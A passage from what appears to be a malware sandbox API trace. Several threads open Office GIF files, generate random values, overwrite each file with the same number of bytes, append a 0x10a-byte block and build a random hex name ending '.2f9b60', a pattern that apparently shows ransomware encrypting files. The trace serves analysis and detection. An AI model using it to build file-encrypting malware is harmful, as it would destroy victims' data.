office\\media\\office14\\lines\\bd14844_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x335c [0231.857] GetFileSizeEx (in: hFile=0x335c, lpFileSize=0x366cfd60 | out: lpFileSize=0x366cfd60*=316) returned 1 [0231.857] SetFilePointerEx (in: hFile=0x335c, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.857] ReadFile (in: hFile=0x335c, lpBuffer=0x366cfce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x366cfd28, lpOverlapped=0x0 | out: lpBuffer=0x366cfce0*, lpNumberOfBytesRead=0x366cfd28*=0x4, lpOverlapped=0x0) returned 1 [0231.858] SetFilePointerEx (in: hFile=0x335c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0231.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264680 [0231.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649e0 [0231.858] NtQuerySystemTime (in: CurrentTime=0x366cfc20 | out: CurrentTime=0x366cfc20*=132462178358482000) returned 0x0 [0231.858] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x120adbfa [0231.858] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x45d3ac12 [0231.858] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x2cabf09f [0231.858] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x7df70cf6 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x10b16a0e [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x5bf7f5f8 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0xfbf5935 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0xfbf5935 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x70d9b2fb [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x66ee4b [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x10b12778 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x2dea4a32 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x6e2ceb37 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x4dcaeec3 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x53868ac5 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x1c85ebb8 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0xe549c5b [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x14755e96 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x7bb3603 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x2035f806 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x5ed583be [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x7ab8d860 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x538b3951 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x99c8da9 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x171de676 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0xdd4121b [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x14755e96 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x2d19a56a [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x24c540e4 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x6f2eec79 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x5ffa5d50 [0231.859] RtlRandomEx (in: Seed=0x366cfc10 | out: Seed=0x366cfc10) returned 0x181eded [0231.866] ReadFile (in: hFile=0x335c, lpBuffer=0x42978ed0, nNumberOfBytesToRead=0x13c, lpNumberOfBytesRead=0x366cfc10, lpOverlapped=0x0 | out: lpBuffer=0x42978ed0*, lpNumberOfBytesRead=0x366cfc10*=0x13c, lpOverlapped=0x0) returned 1 [0231.866] SetFilePointerEx (in: hFile=0x335c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.866] WriteFile (in: hFile=0x335c, lpBuffer=0x4297cae0*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x366cfc14, lpOverlapped=0x0 | out: lpBuffer=0x4297cae0*, lpNumberOfBytesWritten=0x366cfc14*=0x13c, lpOverlapped=0x0) returned 1 [0235.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b30 [0235.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0235.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7520) returned 1 [0235.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4297cae0) returned 1 [0235.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42978ed0) returned 1 [0235.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e90) returned 1 [0235.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058600) returned 1 [0235.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a7520 [0235.258] SetFilePointerEx (in: hFile=0x335c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0235.258] WriteFile (in: hFile=0x335c, lpBuffer=0x431f1380*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x366cfd30, lpOverlapped=0x0 | out: lpBuffer=0x431f1380*, lpNumberOfBytesWritten=0x366cfd30*=0x10a, lpOverlapped=0x0) returned 1 [0236.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c1f0 [0236.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0236.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266180 [0236.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266180) returned 1 [0236.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266180 [0236.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267d40 [0236.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267d40) returned 1 [0236.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0236.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c1f0) returned 1 [0236.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d9b0 [0236.721] sprintf (in: _Dest=0x1ce5d9b0, _Format="%c%c" | out: _Dest="86") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9b2, _Format="%c%c" | out: _Dest="b5") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9b4, _Format="%c%c" | out: _Dest="98") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9b6, _Format="%c%c" | out: _Dest="58") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9b8, _Format="%c%c" | out: _Dest="66") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9ba, _Format="%c%c" | out: _Dest="8b") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9bc, _Format="%c%c" | out: _Dest="d5") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9be, _Format="%c%c" | out: _Dest="97") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9c0, _Format="%c%c" | out: _Dest="4d") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9c2, _Format="%c%c" | out: _Dest="23") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9c4, _Format="%c%c" | out: _Dest="5a") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9c6, _Format="%c%c" | out: _Dest="3b") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9c8, _Format="%c%c" | out: _Dest="be") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9ca, _Format="%c%c" | out: _Dest="2b") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9cc, _Format="%c%c" | out: _Dest="7f") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9ce, _Format="%c%c" | out: _Dest="b8") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9d0, _Format="%c%c" | out: _Dest="28") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9d2, _Format="%c%c" | out: _Dest="4e") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9d4, _Format="%c%c" | out: _Dest="18") returned 2 [0236.721] sprintf (in: _Dest=0x1ce5d9d6, _Format="%c%c" | out: _Dest="ab") returned 2 [0236.722] sprintf (in: _Dest=0x1ce5d9d8, _Format="%c%c" | out: _Dest="dd") returned 2 [0236.722] sprintf (in: _Dest=0x1ce5d9da, _Format="%c%c" | out: _Dest="00") returned 2 [0236.722] sprintf (in: _Dest=0x1ce5d9dc, _Format="%c%c" | out: _Dest="ab") returned 2 [0236.722] sprintf (in: _Dest=0x1ce5d9de, _Format="%c%c" | out: _Dest="06") returned 2 [0236.722] RtlInitAnsiString (in: DestinationString=0x366cfda8, SourceString="86b59858668bd5974d235a3bbe2b7fb8284e18abdd00ab06" | out: DestinationString="86b59858668bd5974d235a3bbe2b7fb8284e18abdd00ab06") [0236.722] RtlAnsiStringToUnicodeString (in: DestinationString=0x366cfd78, SourceString="86b59858668bd5974d235a3bbe2b7fb8284e18abdd00ab06", AllocateDestinationString=1 | out: DestinationString="86b59858668bd5974d235a3bbe2b7fb8284e18abdd00ab06") returned 0x0 [0236.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f980 [0236.723] wcscat (in: _Dest=0x431cb940, _Source="86b59858668b" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\86b59858668b") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\86b59858668b" [0236.723] wcscat (in: _Dest=0x431cb940, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\86b59858668b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\86b59858668b.2f9b60" [0236.723] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\86b59858668b.2f9b60", NtPathName=0x366cfd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\86b59858668b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e3e60 Thread: id = 3882 os_tid = 0xf58 [0229.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14845_.gif")) returned 0x20 [0230.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF", dwFileAttributes=0x20) returned 1 [0231.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14845_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3358 [0231.846] GetFileSizeEx (in: hFile=0x3358, lpFileSize=0x350ef8a0 | out: lpFileSize=0x350ef8a0*=279) returned 1 [0231.846] SetFilePointerEx (in: hFile=0x3358, liDistanceToMove=0x113, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.846] ReadFile (in: hFile=0x3358, lpBuffer=0x350ef820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x350ef868, lpOverlapped=0x0 | out: lpBuffer=0x350ef820*, lpNumberOfBytesRead=0x350ef868*=0x4, lpOverlapped=0x0) returned 1 [0231.847] SetFilePointerEx (in: hFile=0x3358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0231.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266030 [0231.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264680 [0231.848] NtQuerySystemTime (in: CurrentTime=0x350ef760 | out: CurrentTime=0x350ef760*=132462178358326000) returned 0x0 [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x4631106d [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x40d775d6 [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x793fce58 [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x45e7b3fb [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x2899b893 [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x4fc68af0 [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0xe29c39b [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x28a96876 [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x63d696e6 [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x2cabf09f [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x434d5d73 [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x7ab8d860 [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0xdfeeadb [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x4fc96961 [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x5f194253 [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0xf61fe97 [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x74d6338c [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x5be9148f [0231.848] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x36a1414b [0231.849] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x2d74b9d5 [0231.849] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x18283a50 [0231.849] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x41059c31 [0231.849] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x37634e39 [0231.849] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x4137c5c [0231.849] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x984844e [0231.849] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x6bdacfec [0231.849] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x70d9b6ae [0231.849] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x49ca24cc [0231.849] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x74c12c8e [0231.849] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x7b09c3db [0231.849] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x2416a772 [0231.849] RtlRandomEx (in: Seed=0x350ef750 | out: Seed=0x350ef750) returned 0x7747dc85 [0231.856] ReadFile (in: hFile=0x3358, lpBuffer=0x42966280, nNumberOfBytesToRead=0x117, lpNumberOfBytesRead=0x350ef750, lpOverlapped=0x0 | out: lpBuffer=0x42966280*, lpNumberOfBytesRead=0x350ef750*=0x117, lpOverlapped=0x0) returned 1 [0231.856] SetFilePointerEx (in: hFile=0x3358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.856] WriteFile (in: hFile=0x3358, lpBuffer=0x4294fa20*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x350ef754, lpOverlapped=0x0 | out: lpBuffer=0x4294fa20*, lpNumberOfBytesWritten=0x350ef754*=0x117, lpOverlapped=0x0) returned 1 [0234.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0ad0 [0234.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2e40 [0234.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2e40) returned 1 [0234.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4294fa20) returned 1 [0234.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42966280) returned 1 [0234.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0234.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058330) returned 1 [0234.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdb2e40 [0234.917] SetFilePointerEx (in: hFile=0x3358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.917] WriteFile (in: hFile=0x3358, lpBuffer=0x431e1da0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x350ef870, lpOverlapped=0x0 | out: lpBuffer=0x431e1da0*, lpNumberOfBytesWritten=0x350ef870*=0x10a, lpOverlapped=0x0) returned 1 [0236.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62280 [0236.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202642f0 [0236.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202642f0) returned 1 [0236.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202642f0 [0236.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266060 [0236.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266060) returned 1 [0236.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62280) returned 1 [0236.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5dc70 [0236.499] sprintf (in: _Dest=0x1ce5dc70, _Format="%c%c" | out: _Dest="a3") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc72, _Format="%c%c" | out: _Dest="31") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc74, _Format="%c%c" | out: _Dest="b5") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc76, _Format="%c%c" | out: _Dest="44") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc78, _Format="%c%c" | out: _Dest="c3") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc7a, _Format="%c%c" | out: _Dest="63") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc7c, _Format="%c%c" | out: _Dest="7c") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc7e, _Format="%c%c" | out: _Dest="2d") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc80, _Format="%c%c" | out: _Dest="b2") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc82, _Format="%c%c" | out: _Dest="a1") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc84, _Format="%c%c" | out: _Dest="4c") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc86, _Format="%c%c" | out: _Dest="bf") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc88, _Format="%c%c" | out: _Dest="60") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc8a, _Format="%c%c" | out: _Dest="03") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc8c, _Format="%c%c" | out: _Dest="63") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc8e, _Format="%c%c" | out: _Dest="fb") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc90, _Format="%c%c" | out: _Dest="28") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc92, _Format="%c%c" | out: _Dest="d5") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc94, _Format="%c%c" | out: _Dest="f2") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc96, _Format="%c%c" | out: _Dest="4b") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc98, _Format="%c%c" | out: _Dest="51") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc9a, _Format="%c%c" | out: _Dest="f1") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc9c, _Format="%c%c" | out: _Dest="15") returned 2 [0236.499] sprintf (in: _Dest=0x1ce5dc9e, _Format="%c%c" | out: _Dest="ed") returned 2 [0236.499] RtlInitAnsiString (in: DestinationString=0x350ef8e8, SourceString="a331b544c3637c2db2a14cbf600363fb28d5f24b51f115ed" | out: DestinationString="a331b544c3637c2db2a14cbf600363fb28d5f24b51f115ed") [0236.499] RtlAnsiStringToUnicodeString (in: DestinationString=0x350ef8b8, SourceString="a331b544c3637c2db2a14cbf600363fb28d5f24b51f115ed", AllocateDestinationString=1 | out: DestinationString="a331b544c3637c2db2a14cbf600363fb28d5f24b51f115ed") returned 0x0 [0236.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f6e0 [0236.500] wcscat (in: _Dest=0x431cb580, _Source="a331b544c363" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\a331b544c363") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\a331b544c363" [0236.500] wcscat (in: _Dest=0x431cb580, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\a331b544c363.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\a331b544c363.2f9b60" [0236.500] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\a331b544c363.2f9b60", NtPathName=0x350ef890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\a331b544c363.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e3920 Thread: id = 3883 os_tid = 0x834 [0229.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14882_.gif")) returned 0x20 [0230.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF", dwFileAttributes=0x20) returned 1 [0231.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14882_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3354 [0231.836] GetFileSizeEx (in: hFile=0x3354, lpFileSize=0x3631fb40 | out: lpFileSize=0x3631fb40*=381) returned 1 [0231.836] SetFilePointerEx (in: hFile=0x3354, liDistanceToMove=0x179, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.836] ReadFile (in: hFile=0x3354, lpBuffer=0x3631fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3631fb08, lpOverlapped=0x0 | out: lpBuffer=0x3631fac0*, lpNumberOfBytesRead=0x3631fb08*=0x4, lpOverlapped=0x0) returned 1 [0231.837] SetFilePointerEx (in: hFile=0x3354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0231.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266420 [0231.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266030 [0231.838] NtQuerySystemTime (in: CurrentTime=0x3631fa00 | out: CurrentTime=0x3631fa00*=132462178358326000) returned 0x0 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0xed5269b [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x1103edc [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0xfde66bb [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x5b970010 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x18033128 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0xa04fd24 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x6cdb944b [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x2899b893 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x48f05fdb [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x5f194253 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0xbb1575d [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x36a1414b [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x2416a772 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x3cfe5734 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x22e7ece9 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x5f74c50d [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x7ae96389 [0231.838] RtlRandomEx (in: 